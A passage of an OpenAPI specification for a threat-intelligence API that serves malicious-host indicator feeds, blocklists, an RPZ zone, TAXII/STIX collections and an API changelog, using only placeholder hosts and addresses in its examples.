{
  "openapi": "3.1.0",
  "info": {
    "title": "Ohey API",
    "version": "1",
    "description": "The Ohey API serves the threat intelligence feed and the delisted feed, what we hold on each feed host with its stored captures, and the vulnerability catalog. It also runs headed scans of a URL you choose.\n\n## Access\n\nThe API comes with the [Full feed](https://ohey.ca/pricing/) plan (TI accounts). Blocklists accounts get keys too: theirs read the four lists and the RPZ zone, and every other route answers `404`. Create a key under **Account > API keys** in the [portal](https://ohey.ca/portal/); creating or revoking a key needs a recent sign-in. The key is shown once. It stops working when it is revoked, its account is disabled or the account loses API access.\n\n## Authentication\n\nSend the key on every request as `Authorization: Bearer ohey_...`. The lists, the RPZ zone and the TAXII routes also accept HTTP Basic authentication with the key as the password and any or no username. Keys in URLs and query parameters are rejected. To try a request on this page, enter your key under **Authentication**; it stays in your browser.\n\n## Rate limits\n\n120 requests a minute per key and per client address. A limited request returns `429`. Trial keys can also make 1,000 requests a day, counted from 00:00 UTC, with MCP requests counted against the same total. Past that, requests return `429` until 00:00 UTC, and RPZ zone transfers still work. Scans have their own limit, under **Scans**.\n\n## Paging\n\nList routes return 1,000 rows a page and a `next` cursor. Pass `next` unchanged as `after` to get the following page; its format differs by route, so treat it as opaque. `next` is `null` on the last page. `limit` sets the page size: up to 5,000 on `/v1/indicators`, `/v1/delisted` and `/v1/changes`, and up to 1,000 on the CVE routes.\n\n## Feed updates\n\nThe feed is rebuilt hourly, and `asOf` is when the current build finished. To copy the whole feed, pull every page, then replace your copy. An indicator that changes during a pass appears with its new values on the next pull.\n\nTo keep a copy current without pulling the whole feed again, call `GET /v1/changes` with `since` set to the `asOf` of your previous pull. It returns the hosts added to the feed since then and the hosts whose roles, families or tags changed, as full feed rows, and the hosts removed since then with the reason, in the order the hourly build published them. Then send the new hosts to `POST /v1/hosts`, up to 100 a request, for their profiles and captures. Fields that move every hour, such as `lastSeen` and the DNS fields, are not changes; a full pull picks them up. The TAXII collection gives the same changes as STIX, a changed host as a new version of its indicator, with `added_after` set to the `X-TAXII-Date-Added-Last` of your previous pull."
  },
  "servers": [
    {
      "url": "https://api.ohey.ca/v1"
    }
  ],
  "security": [
    {
      "apiKey": []
    }
  ],
  "tags": [
    {
      "name": "Feed",
      "description": "Every accepted indicator, and the hosts taken out of it."
    },
    {
      "name": "Lists",
      "description": "Sorted, plain-text host lists for firewalls and DNS filters, and the RPZ zone for resolvers."
    },
    {
      "name": "TAXII",
      "description": "The feed as STIX 2.1 indicators over a read-only TAXII 2.1 server."
    },
    {
      "name": "Hosts",
      "description": "What Ohey holds about one host in the feed, and its stored captures."
    },
    {
      "name": "Payloads",
      "description": "The hosts ClickFix commands download from, and the smart contracts EtherHiding kits read."
    },
    {
      "name": "Vulnerabilities",
      "description": "Published CVEs with the vulnerability catalog's enrichment."
    },
    {
      "name": "Scans",
      "description": "Headed browser scans of a URL. `POST /v1/scans` returns an id; poll `GET /v1/scans/{id}` until `status` is `complete` or `failed`, which usually takes one to three minutes. The summary and the full result stay available for about ten minutes after the scan completes, so fetch the detail and any response bodies in that time. Scan ids are random, and only the account that started a scan can read it. Each account can start two scans a minute, shared with the portal."
    },
    {
      "name": "Changes",
      "description": "Every change to the API and MCP server a client can see, newest first. `GET /v1/changelog` returns the same list as JSON.\n\n#### 2026-11-16\n\n- `GET /v1/labels` lists the families and tags the feed holds, with how many hosts carry each and their aliases: the values the `tag` and `family` filters take. The `list_labels` MCP tool reads it.\n- `tag` and `family` filters on `/v1/indicators`, `/v1/changes` and TAXII take any alias of a name, such as `fakeupdates` for `socgholish`, in any case, and names with spaces such as `inferno drainer`. A filter saved on a family's old name keeps working after a rename or merge.\n- `GET /v1/delisted` no longer returns `families` and `tags`. Removed hosts that were in the feed keep them on `GET /v1/changes` and in TAXII.\n- `GET /v1/changes` also lists hosts whose roles, families or tags changed while they stayed in the feed, as `changed` with their feed row. Changes are ordered by the hourly build that published them, so a pull from the `asOf` of the last one misses none. TAXII gives such a host a new indicator version.\n- `GET /v1/changes?since=` lists the hosts added to and removed from the feed since a time, added hosts with their feed row and removed hosts with the reason, so a copy stays current with one request a day. The `list_changes` MCP tool reads it.\n- `GET /v1/indicators` and `GET /v1/delisted` take `limit` up to 5,000, so the whole feed comes down in a fifth of the requests. Pages still hold 1,000 rows when `limit` is left out.\n\n#### 2026-11-14\n\n- `POST /v1/hosts` looks up to 100 hosts in one request, each with its host profile and its capture listing in `captureList`. Hosts not in the feed come back in `missing` instead of as errors. The reference's new Keeping a copy section shows how to keep a copy current with TAXII `added_after` and this route.\n\n#### 2026-11-13\n\n- `GET /v1/contracts` has `dnsNames`: the DNS TXT names kits read their next host from instead of a contract, with the hosts each names now and its history.\n\n#### 2026-11-12\n\n- `GET /v1/contracts` has `asOf`, and each contract `lastChanged` and `history`: every destination it has returned, with the first and last day we read each.\n- Added `GET /v1/lists/rpz.zone`: the whole feed as an RPZ zone. Resolvers can also transfer it from `ns1.rpz.ohey.ca` with a TSIG key enabled in the portal.\n\n#### 2026-11-10\n\n- Added `GET /v1/changelog`: this list.\n\n#### 2026-11-09\n\n- Added `GET /v1/commands`: the hosts ClickFix lure commands download from, with the kits behind each, site and URL counts, dates, and the latest payload URL and command as captured.\n- Added `GET /v1/contracts`: the smart contracts EtherHiding kits read, with chain, kit, the hosts each returns now and how many feed sites called it.\n- `GET /v1/hosts/{host}` has `commands`, `contracts` and `sites`: the lure commands captured on a site and the contracts its page called, or the feed sites whose lure downloads from a payload host.\n- MCP: added the `list_payload_hosts` and `list_contracts` tools.\n\n#### 2026-11-04\n\n- MCP: `https://ohey.ca/mcp` serves the API as tools for AI agents, with OAuth sign-in.\n\n#### 2026-10-20\n\n- `POST /v1/scans` no longer takes `referer`.\n\n#### 2026-10-12\n\n- `GET /v1/delisted` filters by `status`, `everListed`, `reasonCode` and `decidedBy`.\n\n#### 2026-10-11\n\n- Added the feed as STIX 2.1 over TAXII 2.1, and four plain-text host lists for C2 and distribution domains and IPs. Both accept HTTP Basic authentication with the key as the password.\n- Feed rows and host profiles have `reason` and `decidedBy`.\n- Delisted rows have `everListed`, `decidedBy`, `reasonCode`, `feedTypes`, `families` and `tags`, and the reason code `expired` for IPs with no evidence for 30 days.\n\n#### 2026-10-09\n\n- WordPress components in the vulnerability routes have `current` and `directory`, the release and directory state wordpress.org lists today. `GET /v1/vulnerabilities/{id}` has `wordpress` for a CVE that affects WordPress.\n\n#### 2026-10-07\n\n- The API opened with the feed, delisted hosts, host profiles, captures and response downloads, the vulnerability catalog and headed scans."
    }
  ],
  "paths": {
    "/indicators": {
      "get": {
        "tags": [
          "Feed"
        ],
        "operationId": "listIndicators",
        "summary": "List indicators",
        "description": "Every accepted indicator in ascending order, up to 5,000 per page. With `tag` or `family`, an indicator matches when it has any listed tag or any listed family, so a feed defined by both is one request: `tag=phaas&family=remcos` returns PhaaS indicators and Remcos indicators.",
        "parameters": [
          {
            "name": "tag",
            "in": "query",
            "description": "Repeatable, up to 20. Indicators with any of these tags. A name or any alias `/labels` lists; case does not matter.",
            "schema": {
              "type": "array",
              "maxItems": 20,
              "items": {
                "type": "string",
                "minLength": 1,
                "maxLength": 128
              }
            },
            "style": "form",
            "explode": true,
            "example": [
              "clickfix"
            ]
          },
          {
            "name": "family",
            "in": "query",
            "description": "Repeatable, up to 20. Indicators attributed to any of these families. A name or any alias `/labels` lists; case does not matter.",
            "schema": {
              "type": "array",
              "maxItems": 20,
              "items": {
                "type": "string",
                "minLength": 1,
                "maxLength": 128
              }
            },
            "style": "form",
            "explode": true
          },
          {
            "name": "limit",
            "in": "query",
            "description": "Rows per page, 1 to 5,000. Without it a page holds 1,000.",
            "schema": {
              "type": "integer",
              "minimum": 1,
              "maximum": 5000,
              "default": 1000
            }
          },
          {
            "name": "after",
            "in": "query",
            "description": "The `next` value from the previous page. Leave it out for the first page.",
            "schema": {
              "type": "string",
              "pattern": "^[0-9]+$"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "A page of indicators.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "data",
                    "next",
                    "asOf"
                  ],
                  "properties": {
                    "data": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/Indicator"
                      }
                    },
                    "next": {
                      "anyOf": [
                        {
                          "type": "string"
                        },
                        {
                          "type": "null"
                        }
                      ]
                    },
                    "asOf": {
                      "anyOf": [
                        {
                          "type": "string",
                          "format": "date-time"
                        },
                        {
                          "type": "null"
                        }
                      ]
                    }
                  }
                },
                "example": {
                  "data": [
                    {
                      "host": "compromised.example",
                      "reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
                      "decidedBy": "automated",
                      "feedTypes": [
                        "distribution"
                      ],
                      "families": [
                        "bwpanel"
                      ],
                      "tags": [
                        "clickfix",
                        "compromised",
                        "etherhiding",
                        "tds",
                        "yarahit"
                      ],
                      "infraTypes": [
                        "hosting"
                      ],
                      "countries": [
                        "CA"
                      ],
                      "asns": [
                        64496
                      ],
                      "asOrgs": [
                        "Example Hosting"
                      ],
                      "resolvedIps": [
                        "192.0.2.10"
                      ],
                      "ports": [
                        443
                      ],
                      "sha256Samples": [
                        "0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"
                      ],
                      "dnsStatus": "live",
                      "passiveDnsHits": 0,
                      "trancoRank": null,
                      "firstSeen": "2026-06-24T17:16:07.871Z",
                      "lastSeen": "2026-09-29T00:13:52.575434Z",
                      "addedAt": "2026-06-24T17:16:07.871000Z"
                    }
                  ],
                  "next": "154315",
                  "asOf": "2026-10-07T23:04:52Z"
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/delisted": {
      "get": {
        "tags": [
          "Feed"
        ],
        "operationId": "listDelisted",
        "summary": "List delisted hosts",
        "description": "Hosts that were reviewed and excluded (`denied`) or taken out of the feed (`removed`), up to 5,000 per page. `everListed` distinguishes review exclusions from hosts that reached the feed. For previously listed hosts removed after a clean re-inspection, request `/delisted?status=removed&everListed=true&reasonCode=remediated`.",
        "parameters": [
          {
            "name": "status",
            "in": "query",
            "description": "Return denied hosts or removed hosts.",
            "schema": {
              "type": "string",
              "enum": [
                "denied",
                "removed"
              ]
            },
            "example": "removed"
          },
          {
            "name": "everListed",
            "in": "query",
            "description": "Return hosts that reached the feed, or hosts that did not.",
            "schema": {
              "type": "boolean"
            },
            "example": true
          },
          {
            "name": "reasonCode",
            "in": "query",
            "description": "Repeatable. Return hosts with any of these delisting reason codes.",
            "schema": {
              "type": "array",
              "items": {
                "type": "string",
                "enum": [
                  "remediated",
                  "legitimate",
                  "generated",
                  "alias",
                  "malformed",
                  "expired",
                  "analyst"
                ]
              }
            },
            "style": "form",
            "explode": true,
            "example": [
              "remediated"
            ]
          },
          {
            "name": "decidedBy",
            "in": "query",
            "description": "Return decisions made by automation or an analyst.",
            "schema": {
              "type": "string",
              "enum": [
                "automated",
                "analyst"
              ]
            }
          },
          {
            "name": "limit",
            "in": "query",
            "description": "Rows per page, 1 to 5,000. Without it a page holds 1,000.",
            "schema": {
              "type": "integer",
              "minimum": 1,
              "maximum": 5000,
              "default": 1000
            }
          },
          {
            "name": "after",
            "in": "query",
            "description": "The `next` value from the previous page. Leave it out for the first page.",
            "schema": {
              "type": "string",
              "pattern": "^[0-9]+$"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "A page of delisted hosts.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "data",
                    "next"
                  ],
                  "properties": {
                    "data": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/Delisting"
                      }
                    },
                    "next": {
                      "anyOf": [
                        {
                          "type": "string"
                        },
                        {
                          "type": "null"
                        }
                      ]
                    }
                  }
                },
                "example": {
                  "data": [
                    {
                      "host": "clickfix.example",
                      "status": "removed",
                      "reason": "Current rescan found no remaining threat behaviour",
                      "delistedAt": "2026-10-05T18:30:00Z",
                      "everListed": true,
                      "decidedBy": "automated",
                      "reasonCode": "remediated",
                      "feedTypes": [
                        "distribution"
                      ]
                    }
                  ],
                  "next": "990"
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/labels": {
      "get": {
        "tags": [
          "Feed"
        ],
        "operationId": "listLabels",
        "summary": "List families and tags",
        "description": "Every malware family and tag the feed holds, each with the number of feed hosts that carry it, most first. These are the values `tag` and `family` match on `/indicators`, `/changes` and the TAXII collection, and a filter on any of a label's `aliases` matches it too, so a saved filter keeps working after a family is renamed or merged. Only labels a feed host carries are listed. The list follows the hourly build.",
        "responses": {
          "200": {
            "description": "The feed's families and tags.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "families",
                    "tags",
                    "asOf"
                  ],
                  "properties": {
                    "families": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/Label"
                      }
                    },
                    "tags": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/Label"
                      }
                    },
                    "asOf": {
                      "anyOf": [
                        {
                          "type": "string",
                          "format": "date-time"
                        },
                        {
                          "type": "null"
                        }
                      ]
                    }
                  }
                },
                "example": {
                  "families": [
                    {
                      "name": "socgholish",
                      "hosts": 1362,
                      "aliases": [
                        "fakeupdate",
                        "fakeupdates",
                        "gholoader",
                        "js.fakeupdates"
                      ]
                    },
                    {
                      "name": "remcos",
                      "hosts": 175,
                      "aliases": [
                        "remcosrat",
                        "win.remcos"
                      ]
                    }
                  ],
                  "tags": [
                    {
                      "name": "phaas",
                      "hosts": 21066,
                      "aliases": [
                        "aitm",
                        "credential-phishing",
                        "phishing",
                        "phishing-kit"
                      ]
                    }
                  ],
                  "asOf": "2026-11-16T17:02:47Z"
                }
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/changes": {
      "get": {
        "tags": [
          "Feed"
        ],
        "operationId": "listChanges",
        "summary": "List feed changes",
        "description": "Hosts that entered the feed (`added`), changed roles, families or tags in it (`changed`), or left it (`removed`) after `since`, in the order the hourly build published them, up to 5,000 per page. An added or changed host comes with its whole feed row, as from `/indicators`; a removed host with when it left and why, as from `/delisted`. Each host appears once, in its latest state: a host added and then changed in the window is `added`, and one added and then removed is `removed`. `lastSeen`, DNS and network fields move every hour and are not changes. With `tag` or `family`, a change matches when the host has any listed tag or any listed family.",
        "parameters": [
          {
            "name": "since",
            "in": "query",
            "required": true,
            "description": "RFC 3339 time. Changes after it are returned; use the `asOf` of your previous pull.",
            "schema": {
              "type": "string",
              "format": "date-time"
            },
            "example": "2026-11-15T12:00:00Z"
          },
          {
            "name": "tag",
            "in": "query",
            "description": "Repeatable, up to 20. Changes to hosts with any of these tags. A name or any alias `/labels` lists; case does not matter.",
            "schema": {
              "type": "array",
              "maxItems": 20,
              "items": {
                "type": "string",
                "minLength": 1,
                "maxLength": 128
              }
            },
            "style": "form",
            "explode": true
          },
          {
            "name": "family",
            "in": "query",
            "description": "Repeatable, up to 20. Changes to hosts attributed to any of these families. A name or any alias `/labels` lists; case does not matter.",
            "schema": {
              "type": "array",
              "maxItems": 20,
              "items": {
                "type": "string",
                "minLength": 1,
                "maxLength": 128
              }
            },
            "style": "form",
            "explode": true
          },
          {
            "name": "limit",
            "in": "query",
            "description": "Rows per page, 1 to 5,000. Without it a page holds 1,000.",
            "schema": {
              "type": "integer",
              "minimum": 1,
              "maximum": 5000,
              "default": 1000
            }
          },
          {
            "name": "after",
            "in": "query",
            "description": "The `next` value from the previous page, with the same `since`. Leave it out for the first page.",
            "schema": {
              "type": "string",
              "pattern": "^[0-9]+-[ar]-[0-9]+$"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "A page of changes.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "data",
                    "next",
                    "asOf"
                  ],
                  "properties": {
                    "data": {
                      "type": "array",
                      "items": {
                        "oneOf": [
                          {
                            "$ref": "#/components/schemas/FeedHostChange"
                          },
                          {
                            "$ref": "#/components/schemas/RemovedHost"
                          }
                        ],
                        "discriminator": {
                          "propertyName": "change"
                        }
                      }
                    },
                    "next": {
                      "anyOf": [
                        {
                          "type": "string"
                        },
                        {
                          "type": "null"
                        }
                      ]
                    },
                    "asOf": {
                      "anyOf": [
                        {
                          "type": "string",
                          "format": "date-time"
                        },
                        {
                          "type": "null"
                        }
                      ]
                    }
                  }
                },
                "example": {
                  "data": [
                    {
                      "change": "removed",
                      "host": "clickfix.example",
                      "removedAt": "2026-11-15T18:30:00.000000Z",
                      "reason": "Current rescan found no remaining threat behaviour",
                      "reasonCode": "remediated",
                      "decidedBy": "automated",
                      "feedTypes": [
                        "distribution"
                      ],
                      "families": [],
                      "tags": [
                        "clickfix"
                      ]
                    },
                    {
                      "change": "added",
                      "host": "compromised.example",
                      "reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
                      "decidedBy": "automated",
                      "feedTypes": [
                        "distribution"
                      ],
                      "families": [
                        "bwpanel"
                      ],
                      "tags": [
                        "clickfix",
                        "compromised",
                        "etherhiding",
                        "tds",
                        "yarahit"
                      ],
                      "infraTypes": [
                        "hosting"
                      ],
                      "countries": [
                        "CA"
                      ],
                      "asns": [
                        64496
                      ],
                      "asOrgs": [
                        "Example Hosting"
                      ],
                      "resolvedIps": [
                        "192.0.2.10"
                      ],
                      "ports": [
                        443
                      ],
                      "sha256Samples": [
                        "0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"
                      ],
                      "dnsStatus": "live",
                      "passiveDnsHits": 0,
                      "trancoRank": null,
                      "firstSeen": "2026-06-24T17:16:07.871Z",
                      "lastSeen": "2026-09-29T00:13:52.575434Z",
                      "addedAt": "2026-06-24T17:16:07.871000Z"
                    }
                  ],
                  "next": null,
                  "asOf": "2026-11-16T12:04:52Z"
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/lists/c2-domains.txt": {
      "get": {
        "tags": [
          "Lists"
        ],
        "operationId": "getC2DomainsList",
        "summary": "Get C2 domain names",
        "description": "The whole published c2 domain names list, sorted, with one host per line and no header or comments.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "C2 domain names",
            "content": {
              "text/plain": {
                "schema": {
                  "type": "string"
                },
                "example": "alpha.example\nbeta.example\n"
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/lists/c2-ips.txt": {
      "get": {
        "tags": [
          "Lists"
        ],
        "operationId": "getC2IPsList",
        "summary": "Get C2 IP addresses",
        "description": "The whole published c2 ip addresses list, sorted, with one host per line and no header or comments.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "C2 IP addresses",
            "content": {
              "text/plain": {
                "schema": {
                  "type": "string"
                },
                "example": "192.0.2.10\n198.51.100.7\n"
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/lists/distribution-domains.txt": {
      "get": {
        "tags": [
          "Lists"
        ],
        "operationId": "getDistributionDomainsList",
        "summary": "Get distribution domain names",
        "description": "The whole published distribution domain names list, sorted, with one host per line and no header or comments.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "distribution domain names",
            "content": {
              "text/plain": {
                "schema": {
                  "type": "string"
                },
                "example": "alpha.example\nbeta.example\n"
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/lists/distribution-ips.txt": {
      "get": {
        "tags": [
          "Lists"
        ],
        "operationId": "getDistributionIPsList",
        "summary": "Get distribution IP addresses",
        "description": "The whole published distribution ip addresses list, sorted, with one host per line and no header or comments.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "distribution IP addresses",
            "content": {
              "text/plain": {
                "schema": {
                  "type": "string"
                },
                "example": "192.0.2.10\n198.51.100.7\n"
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/lists/rpz.zone": {
      "get": {
        "tags": [
          "Lists"
        ],
        "operationId": "getRPZZone",
        "summary": "Get the RPZ zone",
        "description": "The whole published feed as a response policy zone, `rpz.ohey.ca`: every domain as an exact-name trigger and every IP as an `rpz-ip` trigger, all answering NXDOMAIN. The SOA serial is the time of the hourly feed build. Unbound loads the zone from this route; the portal gives the line for it.\n\nResolvers that load RPZ by zone transfer pull `rpz.ohey.ca` from `ns1.rpz.ohey.ca` on port 53. Turn RPZ on under **Account > RPZ** in the portal. It creates a TSIG key (`hmac-sha256`), shows the secret once and gives the settings for BIND and PowerDNS Recursor. After the first full transfer your resolver takes only the changes, by IXFR. Add up to four IPv4 addresses and we send them NOTIFY on each new serial, so they transfer straight away. Regenerating the secret replaces the old one within a minute, and turning RPZ off stops transfers.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "RPZ zone file",
            "content": {
              "text/dns": {
                "schema": {
                  "type": "string"
                },
                "example": "$ORIGIN rpz.ohey.ca.\n$TTL 300\n@ IN SOA ns1.rpz.ohey.ca. hostmaster.ohey.ca. 1794441855 3600 600 604800 300\n@ IN NS localhost.\ncompromised.example CNAME .\n32.7.100.51.198.rpz-ip CNAME .\n; end of zone\n"
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/taxii2/": {
      "get": {
        "servers": [
          {
            "url": "https://api.ohey.ca"
          }
        ],
        "tags": [
          "TAXII"
        ],
        "operationId": "taxiiDiscovery",
        "summary": "Discover the TAXII server",
        "description": "TAXII 2.1 discovery. Send `Accept: application/taxii+json;version=2.1`.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "The TAXII discovery resource.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiDiscovery"
                }
              }
            }
          },
          "401": {
            "description": "The API key is not valid.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          },
          "429": {
            "description": "The per-minute limit or a trial key's daily limit was reached.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          }
        }
      }
    },
    "/taxii2/ohey/": {
      "get": {
        "servers": [
          {
            "url": "https://api.ohey.ca"
          }
        ],
        "tags": [
          "TAXII"
        ],
        "operationId": "getTaxiiRoot",
        "summary": "Get the TAXII API root",
        "description": "The one API root for the Ohey feed. Send `Accept: application/taxii+json;version=2.1`.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "The TAXII API root resource.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiRoot"
                }
              }
            }
          },
          "401": {
            "description": "The API key is not valid.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          },
          "429": {
            "description": "The per-minute limit or a trial key's daily limit was reached.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          }
        }
      }
    },
    "/taxii2/ohey/collections/": {
      "get": {
        "servers": [
          {
            "url": "https://api.ohey.ca"
          }
        ],
        "tags": [
          "TAXII"
        ],
        "operationId": "listTaxiiCollections",
        "summary": "List TAXII collections",
        "description": "Lists the one read-only Ohey feed collection. Send `Accept: application/taxii+json;version=2.1`.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "responses": {
          "200": {
            "description": "The TAXII collections resource.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "type": "object",
                  "properties": {
                    "collections": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/TaxiiCollection"
                      }
                    }
                  }
                }
              }
            }
          },
          "401": {
            "description": "The API key is not valid.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          },
          "429": {
            "description": "The per-minute limit or a trial key's daily limit was reached.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          }
        }
      }
    },
    "/taxii2/ohey/collections/{collectionId}/": {
      "get": {
        "servers": [
          {
            "url": "https://api.ohey.ca"
          }
        ],
        "tags": [
          "TAXII"
        ],
        "operationId": "getTaxiiCollection",
        "summary": "Get the Ohey TAXII collection",
        "description": "Metadata for the read-only Ohey feed collection. Send `Accept: application/taxii+json;version=2.1`.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "parameters": [
          {
            "$ref": "#/components/parameters/TaxiiCollectionId"
          }
        ],
        "responses": {
          "200": {
            "description": "The Ohey feed collection.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiCollection"
                }
              }
            }
          },
          "401": {
            "description": "The API key is not valid.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          },
          "429": {
            "description": "The per-minute limit or a trial key's daily limit was reached.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          }
        }
      }
    },
    "/taxii2/ohey/collections/{collectionId}/objects/": {
      "get": {
        "servers": [
          {
            "url": "https://api.ohey.ca"
          }
        ],
        "tags": [
          "TAXII"
        ],
        "operationId": "getTaxiiObjects",
        "summary": "Get STIX indicators",
        "description": "Pages active feed hosts and revoked hosts that previously reached the feed, oldest TAXII addition first. A host whose roles, families or tags change is added again as a new version, with a later `modified`. `tag` and `family` are repeatable and use the same any-match rule as `/v1/indicators`. Send `Accept: application/taxii+json;version=2.1`.",
        "security": [
          {
            "apiKey": []
          },
          {
            "basicKey": []
          }
        ],
        "parameters": [
          {
            "$ref": "#/components/parameters/TaxiiCollectionId"
          },
          {
            "name": "added_after",
            "in": "query",
            "description": "Return objects added to the TAXII collection after this timestamp.",
            "schema": {
              "type": "string",
              "format": "date-time"
            }
          },
          {
            "name": "limit",
            "in": "query",
            "description": "Objects per page, 1 to 5,000.",
            "schema": {
              "type": "integer",
              "minimum": 1,
              "maximum": 5000,
              "default": 5000
            }
          },
          {
            "name": "next",
            "in": "query",
            "description": "The opaque `next` value from the previous TAXII envelope.",
            "schema": {
              "type": "string"
            }
          },
          {
            "name": "tag",
            "in": "query",
            "description": "Repeatable, up to 20. Indicators with any of these tags. A name or any alias `/labels` lists; case does not matter.",
            "schema": {
              "type": "array",
              "maxItems": 20,
              "items": {
                "type": "string"
              }
            },
            "style": "form",
            "explode": true
          },
          {
            "name": "family",
            "in": "query",
            "description": "Repeatable, up to 20. Indicators with any of these families. A name or any alias `/labels` lists; case does not matter.",
            "schema": {
              "type": "array",
              "maxItems": 20,
              "items": {
                "type": "string"
              }
            },
            "style": "form",
            "explode": true
          }
        ],
        "responses": {
          "200": {
            "description": "A TAXII envelope of STIX 2.1 indicators.",
            "headers": {
              "X-TAXII-Date-Added-First": {
                "schema": {
                  "type": "string",
                  "format": "date-time"
                },
                "example": "2026-10-01T00:00:00.000Z",
                "description": "The date added of the first object in the envelope"
              },
              "X-TAXII-Date-Added-Last": {
                "schema": {
                  "type": "string",
                  "format": "date-time"
                },
                "example": "2026-10-07T23:04:52.000Z",
                "description": "The date added of the last object; pass it as `added_after` on your next pull"
              }
            },
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiEnvelope"
                }
              }
            }
          },
          "400": {
            "description": "The request is invalid.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          },
          "401": {
            "description": "The API key is not valid.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          },
          "429": {
            "description": "The per-minute limit or a trial key's daily limit was reached.",
            "content": {
              "application/taxii+json;version=2.1": {
                "schema": {
                  "$ref": "#/components/schemas/TaxiiError"
                }
              }
            }
          }
        }
      }
    },
    "/changelog": {
      "get": {
        "tags": [
          "Changes"
        ],
        "operationId": "getChangelog",
        "summary": "List API changes",
        "description": "The changes listed above, newest first.",
        "responses": {
          "200": {
            "description": "The changes.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "data"
                  ],
                  "properties": {
                    "data": {
                      "type": "array",
                      "items": {
                        "type": "object",
                        "required": [
                          "date",
                          "changes"
                        ],
